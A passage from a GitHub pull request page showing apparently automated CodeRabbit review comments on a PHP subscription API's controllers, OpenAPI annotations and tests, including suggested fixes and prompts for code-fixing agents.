atomically: remove the early flush and perform the flush only after syncPageData
completes, or wrap the create + sync sequence in a single DB transaction (use
the EntityManager transaction API or a transactional helper) so that
SubscribePageController's create path (checking createRequest->hasData(),
calling subscribePageManager->syncPageData(createRequest->getDataMap(), $page),
then $this->entityManager->flush()) is all committed or rolled back together.

Comment thread src/Subscription/Serializer/SubscribePageNormalizer.php
@TatevikGr TatevikGr force-pushed the dev branch 2 times, most recently from f449fa6 to a455314 Compare May 25, 2026 12:25
Copy link
Copy Markdown

@coderabbitai coderabbitai Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Caution

Some comments are outside the diff and can’t be posted inline due to platform limitations.

⚠️ Outside diff range comments (1)
src/Subscription/Controller/SubscribePageController.php (1)

121-126: ⚠️ Potential issue | 🟡 Minor | ⚡ Quick win

OpenAPI auth requirement doesn’t match getPage runtime behavior.

Line 156 allows requests with no admin, and Line 159 only blocks inactive pages for anonymous users. But the schema still marks php-auth-pw as required. This will mislead clients and generated SDKs.

📌 Suggested docs fix
new OA\Parameter(
    name: 'php-auth-pw',
    description: 'Session key obtained from login',
    in: 'header',
-   required: true,
+   required: false,
    schema: new OA\Schema(type: 'string')
),

Also applies to: 154-160

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/Subscription/Controller/SubscribePageController.php` around lines 121 -
126, The OpenAPI parameter declaration for the header 'php-auth-pw' in
SubscribePageController (used by getPage) incorrectly sets required: true while
runtime accepts anonymous requests; change the OA\Parameter for name
'php-auth-pw' to required: false (or remove the required flag) and update the
description to indicate the header is optional and only needed for
admin-authenticated behavior / access to inactive pages so generated clients are
not forced to supply it.
🧹 Nitpick comments (2)
tests/Integration/Subscription/Controller/SubscribePageControllerTest.php (1)

83-109: ⚡ Quick win

Add assertions for the new data response contract.

These tests now submit data, but they don’t assert that returned payload includes the expected normalized data array. Adding that check would catch regressions in sync/serialization immediately.

Also applies to: 145-168

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@tests/Integration/Subscription/Controller/SubscribePageControllerTest.php`
around lines 83 - 109, Update the testCreateSubscribePageWithSessionCreatesPage
(and the other test at lines 145-168) to assert the returned payload includes
the normalized "data" array: verify $data['data'] exists and is an array, assert
its count and that it contains an entry with 'key' => 'intro_text' and 'value'
=> 'Welcome' (or the expected normalized form), and assert each item has the
expected keys ('key','value') to ensure serialization/syncing is correct; locate
assertions in SubscribePageControllerTest methods to add these checks near the
other response assertions (id,title,active,owner).
tests/Unit/Subscription/Serializer/SubscribePageNormalizerTest.php (1)

29-66: ⚡ Quick win

Please add one happy-path unit test for non-empty page data normalization.

Current test only covers empty data. A case with one/two SubscribePageData items (and asserted SubscribePageDataNormalizer calls/output) would lock down the new behavior.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@tests/Unit/Subscription/Serializer/SubscribePageNormalizerTest.php` around
lines 29 - 66, Add a second "happy path" unit test in
SubscribePageNormalizerTest that verifies non-empty page data is normalized:
create one or two mocked SubscribePageData objects, stub
SubscribePage::getData() to return them, mock
SubscribePageDataNormalizer::normalize() to be called with each
SubscribePageData and return sample arrays, construct the
SubscribePageNormalizer with the mocked AdministratorNormalizer and
SubscribePageDataNormalizer, call SubscribePageNormalizer::normalize($page) and
assert the resulting 'data' field contains the returned arrays in order (and
other fields remain as in the existing test).
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Outside diff comments:
In `@src/Subscription/Controller/SubscribePageController.php`:
- Around line 121-126: The OpenAPI parameter declaration for the header
'php-auth-pw' in SubscribePageController (used by getPage) incorrectly sets
required: true while runtime accepts anonymous requests; change the OA\Parameter
for name 'php-auth-pw' to required: false (or remove the required flag) and
update the description to indicate the header is optional and only needed for
admin-authenticated behavior / access to inactive pages so generated clients are
not forced to supply it.

---

Nitpick comments:
In `@tests/Integration/Subscription/Controller/SubscribePageControllerTest.php`:
- Around line 83-109: Update the testCreateSubscribePageWithSessionCreatesPage
(and the other test at lines 145-168) to assert the returned payload includes
the normalized "data" array: verify $data['data'] exists and is an array, assert
its count and that it contains an entry with 'key' => 'intro_text' and 'value'
=> 'Welcome' (or the expected normalized form), and assert each item has the
expected keys ('key','value') to ensure serialization/syncing is correct; locate
assertions in SubscribePageControllerTest methods to add these checks near the
other response assertions (id,title,active,owner).

In `@tests/Unit/Subscription/Serializer/SubscribePageNormalizerTest.php`:
- Around line 29-66: Add a second "happy path" unit test in
SubscribePageNormalizerTest that verifies non-empty page data is normalized:
create one or two mocked SubscribePageData objects, stub
SubscribePage::getData() to return them, mock
SubscribePageDataNormalizer::normalize() to be called with each
SubscribePageData and return sample arrays, construct the
SubscribePageNormalizer with the mocked AdministratorNormalizer and
SubscribePageDataNormalizer, call SubscribePageNormalizer::normalize($page) and
assert the resulting 'data' field contains the returned arrays in order (and
other fields remain as in the existing test).

ℹ️ Review info
⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

Run ID: a76a901f-a181-40d9-bdb6-24c636a6c1b4

📥 Commits

Reviewing files that changed from the base of the PR and between bd04a2b and f03fe55.

📒 Files selected for processing (6)
  • src/Subscription/Controller/SubscribePageController.php
  • src/Subscription/Request/SubscribePageRequest.php
  • src/Subscription/Serializer/SubscribePageDataNormalizer.php
  • src/Subscription/Serializer/SubscribePageNormalizer.php
  • tests/Integration/Subscription/Controller/SubscribePageControllerTest.php
  • tests/Unit/Subscription/Serializer/SubscribePageNormalizerTest.php

@TatevikGr TatevikGr force-pushed the dev branch 2 times, most recently from ffc949c to 980696c Compare May 25, 2026 18:48
Copy link
Copy Markdown

@coderabbitai coderabbitai Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🧹 Nitpick comments (2)
tests/Integration/Subscription/Controller/SubscribePageControllerTest.php (1)

145-168: ⚡ Quick win

Consider asserting data is present in the response.

The test sends a data payload but doesn't verify the response includes it. Given the normalizer now emits data, adding self::assertArrayHasKey('data', $data) would confirm end-to-end integration. Same applies to the create success test above.

♻️ Suggested assertion
         self::assertSame('updated-page@example.org', $data['title']);
         self::assertFalse($data['active']);
         self::assertIsArray($data['owner']);
+        self::assertArrayHasKey('data', $data);
+        self::assertIsArray($data['data']);
     }
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@tests/Integration/Subscription/Controller/SubscribePageControllerTest.php`
around lines 145 - 168, Add an assertion that the response includes the emitted
"data" key to the test method testUpdateSubscribePageWithSessionReturnsOk: after
decoding the JSON ($data) add self::assertArrayHasKey('data', $data) (and
optionally assert its shape/contents, e.g. assertIsArray($data['data']) or check
the expected key/value), and make the same addition to the create-success test
referenced above so both end-to-end flows verify the normalizer's "data" output.
src/Subscription/Controller/SubscriberListController.php (1)

185-190: 💤 Low value

Consider: Update description to clarify this is a public (unauthenticated) endpoint.

The description and summary are copy-pasted from the authenticated getList endpoint. A small tweak would help API consumers understand this is intentionally unauthenticated.

📝 Suggested tweak
     #[OA\Get(
         path: '/api/v2/lists/{listId}/public',
         description: '🚧 **Status: Beta** – This method is under development. Avoid using in production. ' .
-        'Returns a single subscriber list with specified ID.',
-        summary: 'Gets a subscriber list.',
+        'Returns basic public information (id, name, description) for a subscriber list. No authentication required.',
+        summary: 'Gets public subscriber list info (unauthenticated).',
         tags: ['lists'],
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/Subscription/Controller/SubscriberListController.php` around lines 185 -
190, Update the OpenAPI Get annotation for the public list endpoint in
SubscriberListController (the OA\Get with path '/api/v2/lists/{listId}/public')
to explicitly state this is a public, unauthenticated endpoint; modify the
description and/or summary to mention "public (unauthenticated) access" and that
it intentionally omits auth requirements so consumers understand it differs from
the authenticated getList endpoint.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In `@src/Subscription/Controller/SubscriberListController.php`:
- Around line 200-221: The OA\MediaType instantiation inside the OA\Response is
missing the required mediaType property and should be replaced with
OA\JsonContent as used elsewhere; update the responses block in
SubscriberListController (the OA\Response that currently constructs new
OA\MediaType) to use new OA\JsonContent(...) and move the OA\Schema
(properties/type) into that OA\JsonContent call so the response body is
correctly typed for 'application/json' (replace references to OA\MediaType with
OA\JsonContent in the same OA\Response block where OA\Response, OA\Schema and
OA\Property are used).

---

Nitpick comments:
In `@src/Subscription/Controller/SubscriberListController.php`:
- Around line 185-190: Update the OpenAPI Get annotation for the public list
endpoint in SubscriberListController (the OA\Get with path
'/api/v2/lists/{listId}/public') to explicitly state this is a public,
unauthenticated endpoint; modify the description and/or summary to mention
"public (unauthenticated) access" and that it intentionally omits auth
requirements so consumers understand it differs from the authenticated getList
endpoint.

In `@tests/Integration/Subscription/Controller/SubscribePageControllerTest.php`:
- Around line 145-168: Add an assertion that the response includes the emitted
"data" key to the test method testUpdateSubscribePageWithSessionReturnsOk: after
decoding the JSON ($data) add self::assertArrayHasKey('data', $data) (and
optionally assert its shape/contents, e.g. assertIsArray($data['data']) or check
the expected key/value), and make the same addition to the create-success test
referenced above so both end-to-end flows verify the normalizer's "data" output.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

Run ID: d4ddaf96-2308-4a6c-9b89-bba1c6ca3f8d

📥 Commits

Reviewing files that changed from the base of the PR and between f03fe55 and 980696c.

📒 Files selected for processing (3)
  • src/Subscription/Controller/SubscribePageController.php
  • src/Subscription/Controller/SubscriberListController.php
  • tests/Integration/Subscription/Controller/SubscribePageControllerTest.php

Comment on lines +200 to +221
responses: [
new OA\Response(
response: 200,
description: 'Success',
content: [
'application/json' => new OA\MediaType(
schema: new OA\Schema(
properties: [
new OA\Property(property: 'id', type: 'integer', example: 1),
new OA\Property(property: 'name', type: 'string', example: 'Newsletter subscribers'),
new OA\Property(
property: 'description',
type: 'string',
example: 'Main public list',
nullable: true
)
],
type: 'object'
)
)
]
),
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical | ⚡ Quick win

Fix: OA\MediaType() missing required mediaType property — this is breaking the pipeline.

The OpenAPI generation is failing because OA\MediaType requires an explicit mediaType property. The array key 'application/json' doesn't auto-set it. Simplest fix: use OA\JsonContent like the other endpoints in this controller.

🐛 Proposed fix
         responses: [
             new OA\Response(
                 response: 200,
                 description: 'Success',
-                content: [
-                    'application/json' => new OA\MediaType(
-                        schema: new OA\Schema(
-                            properties: [
-                                new OA\Property(property: 'id', type: 'integer', example: 1),
-                                new OA\Property(property: 'name', type: 'string', example: 'Newsletter subscribers'),
-                                new OA\Property(
-                                    property: 'description',
-                                    type: 'string',
-                                    example: 'Main public list',
-                                    nullable: true
-                                )
-                            ],
-                            type: 'object'
-                        )
-                    )
-                ]
+                content: new OA\JsonContent(
+                    properties: [
+                        new OA\Property(property: 'id', type: 'integer', example: 1),
+                        new OA\Property(property: 'name', type: 'string', example: 'Newsletter subscribers'),
+                        new OA\Property(
+                            property: 'description',
+                            type: 'string',
+                            example: 'Main public list',
+                            nullable: true
+                        )
+                    ],
+                    type: 'object'
+                )
             ),
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/Subscription/Controller/SubscriberListController.php` around lines 200 -
221, The OA\MediaType instantiation inside the OA\Response is missing the
required mediaType property and should be replaced with OA\JsonContent as used
elsewhere; update the responses block in SubscriberListController (the
OA\Response that currently constructs new OA\MediaType) to use new
OA\JsonContent(...) and move the OA\Schema (properties/type) into that
OA\JsonContent call so the response body is correctly typed for
'application/json' (replace references to OA\MediaType with OA\JsonContent in
the same OA\Response block where OA\Response, OA\Schema and OA\Property are
used).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants